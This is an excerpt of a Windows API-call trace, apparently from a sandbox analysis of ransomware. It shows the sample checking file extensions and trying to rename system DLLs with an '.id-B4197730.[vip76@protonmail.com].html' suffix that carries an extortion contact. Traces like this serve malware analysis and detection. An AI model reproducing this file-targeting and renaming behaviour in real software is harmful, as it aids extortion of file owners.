	[0167.773] CloseHandle (hObject=0x474) returned 1
	[0167.773] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0167.773] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.773] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.773] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.773] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.773] lstrlenW (lpString=".doc") returned 4
	[0167.773] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.773] lstrlenW (lpString=".docx") returned 5
	[0167.773] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.773] lstrlenW (lpString=".pdf") returned 4
	[0167.773] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.773] lstrlenW (lpString=".xls") returned 4
	[0167.773] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.773] lstrlenW (lpString=".xlsx") returned 5
	[0167.773] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.773] lstrlenW (lpString=".ppt") returned 4
	[0167.773] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.773] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.773] lstrlenW (lpString=".zip") returned 4
	[0167.773] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.773] lstrlenW (lpString=".rar") returned 4
	[0167.773] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString=".bz2") returned 4
	[0167.774] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString=".7z") returned 3
	[0167.774] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString=".dbf") returned 4
	[0167.774] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString=".1cd") returned 4
	[0167.774] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString=".jpg") returned 4
	[0167.774] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString=".doc") returned 4
	[0167.774] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString=".docx") returned 5
	[0167.774] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.774] lstrlenW (lpString=".pdf") returned 4
	[0167.774] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString=".xls") returned 4
	[0167.774] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.774] lstrlenW (lpString=".xlsx") returned 5
	[0167.774] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.774] lstrlenW (lpString=".ppt") returned 4
	[0167.774] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.774] lstrlenW (lpString=".zip") returned 4
	[0167.774] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.774] lstrlenW (lpString=".rar") returned 4
	[0167.774] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.774] lstrlenW (lpString=".bz2") returned 4
	[0167.775] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.775] lstrlenW (lpString=".7z") returned 3
	[0167.775] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.775] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.775] lstrlenW (lpString=".dbf") returned 4
	[0167.775] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.775] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.775] lstrlenW (lpString=".1cd") returned 4
	[0167.775] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.775] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0167.775] lstrlenW (lpString=".jpg") returned 4
	[0167.775] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.775] Sleep (dwMilliseconds=0x64) 
	[0168.093] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1
	[0168.093] lstrlenW (lpString="hiberfil.sys") returned 12
	[0168.093] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString=".doc") returned 4
	[0168.094] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString=".docx") returned 5
	[0168.094] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0168.094] lstrlenW (lpString=".pdf") returned 4
	[0168.094] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString=".xls") returned 4
	[0168.094] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0168.094] lstrlenW (lpString=".xlsx") returned 5
	[0168.094] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0168.094] lstrlenW (lpString=".ppt") returned 4
	[0168.094] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString=".zip") returned 4
	[0168.094] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0168.094] lstrlenW (lpString=".rar") returned 4
	[0168.094] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString=".bz2") returned 4
	[0168.094] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString=".7z") returned 3
	[0168.094] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString=".dbf") returned 4
	[0168.094] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString=".1cd") returned 4
	[0168.094] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0168.094] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.094] lstrlenW (lpString=".jpg") returned 4
	[0168.094] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString=".doc") returned 4
	[0168.095] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString=".docx") returned 5
	[0168.095] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0168.095] lstrlenW (lpString=".pdf") returned 4
	[0168.095] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString=".xls") returned 4
	[0168.095] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0168.095] lstrlenW (lpString=".xlsx") returned 5
	[0168.095] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0168.095] lstrlenW (lpString=".ppt") returned 4
	[0168.095] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString=".zip") returned 4
	[0168.095] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0168.095] lstrlenW (lpString=".rar") returned 4
	[0168.095] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString=".bz2") returned 4
	[0168.095] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString=".7z") returned 3
	[0168.095] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString=".dbf") returned 4
	[0168.095] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString=".1cd") returned 4
	[0168.095] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0168.095] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0168.095] lstrlenW (lpString=".jpg") returned 4
	[0168.095] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0168.096] Sleep (dwMilliseconds=0x64) 
	[0168.500] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.500] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0168.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.500] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2118360) returned 1
	[0168.500] CloseHandle (hObject=0x4b0) returned 1
	[0168.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0168.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.508] lstrlenW (lpString=".doc") returned 4
	[0168.508] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.508] lstrlenW (lpString=".docx") returned 5
	[0168.508] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0168.508] lstrlenW (lpString=".pdf") returned 4
	[0168.508] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.508] lstrlenW (lpString=".xls") returned 4
	[0168.509] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString=".xlsx") returned 5
	[0168.509] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0168.509] lstrlenW (lpString=".ppt") returned 4
	[0168.509] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString=".zip") returned 4
	[0168.509] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString=".rar") returned 4
	[0168.509] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString=".bz2") returned 4
	[0168.509] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.509] lstrlenW (lpString=".7z") returned 3
	[0168.509] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString=".dbf") returned 4
	[0168.509] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString=".1cd") returned 4
	[0168.509] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString=".jpg") returned 4
	[0168.509] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.509] lstrlenW (lpString=".doc") returned 4
	[0168.509] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.509] lstrlenW (lpString=".docx") returned 5
	[0168.509] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0168.510] lstrlenW (lpString=".pdf") returned 4
	[0168.510] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.510] lstrlenW (lpString=".xls") returned 4
	[0168.510] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.510] lstrlenW (lpString=".xlsx") returned 5
	[0168.510] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0168.510] lstrlenW (lpString=".ppt") returned 4
	[0168.510] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.510] lstrlenW (lpString=".zip") returned 4
	[0168.510] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.510] lstrlenW (lpString=".rar") returned 4
	[0168.510] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.510] lstrlenW (lpString=".bz2") returned 4
	[0168.510] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.510] lstrlenW (lpString=".7z") returned 3
	[0168.510] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.510] lstrlenW (lpString=".dbf") returned 4
	[0168.510] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.510] lstrlenW (lpString=".1cd") returned 4
	[0168.510] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0168.510] lstrlenW (lpString=".jpg") returned 4
	[0168.510] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.510] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.511] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0168.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.511] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=468696) returned 1
	[0168.511] CloseHandle (hObject=0x4b0) returned 1
	[0168.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0168.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.512] lstrlenW (lpString=".doc") returned 4
	[0168.512] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString=".docx") returned 5
	[0168.512] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0168.512] lstrlenW (lpString=".pdf") returned 4
	[0168.512] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString=".xls") returned 4
	[0168.512] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString=".xlsx") returned 5
	[0168.512] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0168.512] lstrlenW (lpString=".ppt") returned 4
	[0168.512] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.512] lstrlenW (lpString=".zip") returned 4
	[0168.512] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString=".rar") returned 4
	[0168.512] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.512] lstrlenW (lpString=".bz2") returned 4
	[0168.512] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.512] lstrlenW (lpString=".7z") returned 3
	[0168.512] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.512] lstrlenW (lpString=".dbf") returned 4
	[0168.512] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.512] lstrlenW (lpString=".1cd") returned 4
	[0168.512] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.513] lstrlenW (lpString=".jpg") returned 4
	[0168.513] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.513] lstrlenW (lpString=".doc") returned 4
	[0168.513] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString=".docx") returned 5
	[0168.513] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0168.513] lstrlenW (lpString=".pdf") returned 4
	[0168.513] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString=".xls") returned 4
	[0168.513] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString=".xlsx") returned 5
	[0168.513] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0168.513] lstrlenW (lpString=".ppt") returned 4
	[0168.513] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.513] lstrlenW (lpString=".zip") returned 4
	[0168.513] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.513] lstrlenW (lpString=".rar") returned 4
	[0168.513] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.514] lstrlenW (lpString=".bz2") returned 4
	[0168.514] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.514] lstrlenW (lpString=".7z") returned 3
	[0168.514] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.514] lstrlenW (lpString=".dbf") returned 4
	[0168.514] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.514] lstrlenW (lpString=".1cd") returned 4
	[0168.514] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0168.514] lstrlenW (lpString=".jpg") returned 4
	[0168.514] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.514] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.514] lstrlenW (lpString="AppvIsvStream64.dll") returned 19
	[0168.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.514] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=473760) returned 1
	[0168.514] CloseHandle (hObject=0x4b0) returned 1
	[0168.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20
	[0168.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.515] lstrlenW (lpString=".doc") returned 4
	[0168.515] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.515] lstrlenW (lpString=".docx") returned 5
	[0168.515] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0168.515] lstrlenW (lpString=".pdf") returned 4
	[0168.516] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.516] lstrlenW (lpString=".xls") returned 4
	[0168.516] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.516] lstrlenW (lpString=".xlsx") returned 5
	[0168.516] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0168.516] lstrlenW (lpString=".ppt") returned 4
	[0168.516] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.516] lstrlenW (lpString=".zip") returned 4
	[0168.516] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.516] lstrlenW (lpString=".rar") returned 4
	[0168.516] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.516] lstrlenW (lpString=".bz2") returned 4
	[0168.516] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.516] lstrlenW (lpString=".7z") returned 3
	[0168.516] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.516] lstrlenW (lpString=".dbf") returned 4
	[0168.516] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.516] lstrlenW (lpString=".1cd") returned 4
	[0168.516] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.516] lstrlenW (lpString=".jpg") returned 4
	[0168.516] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.517] lstrlenW (lpString=".doc") returned 4
	[0168.517] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString=".docx") returned 5
	[0168.517] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0168.517] lstrlenW (lpString=".pdf") returned 4
	[0168.517] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString=".xls") returned 4
	[0168.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString=".xlsx") returned 5
	[0168.517] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0168.517] lstrlenW (lpString=".ppt") returned 4
	[0168.517] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.517] lstrlenW (lpString=".zip") returned 4
	[0168.517] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.517] lstrlenW (lpString=".rar") returned 4
	[0168.517] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
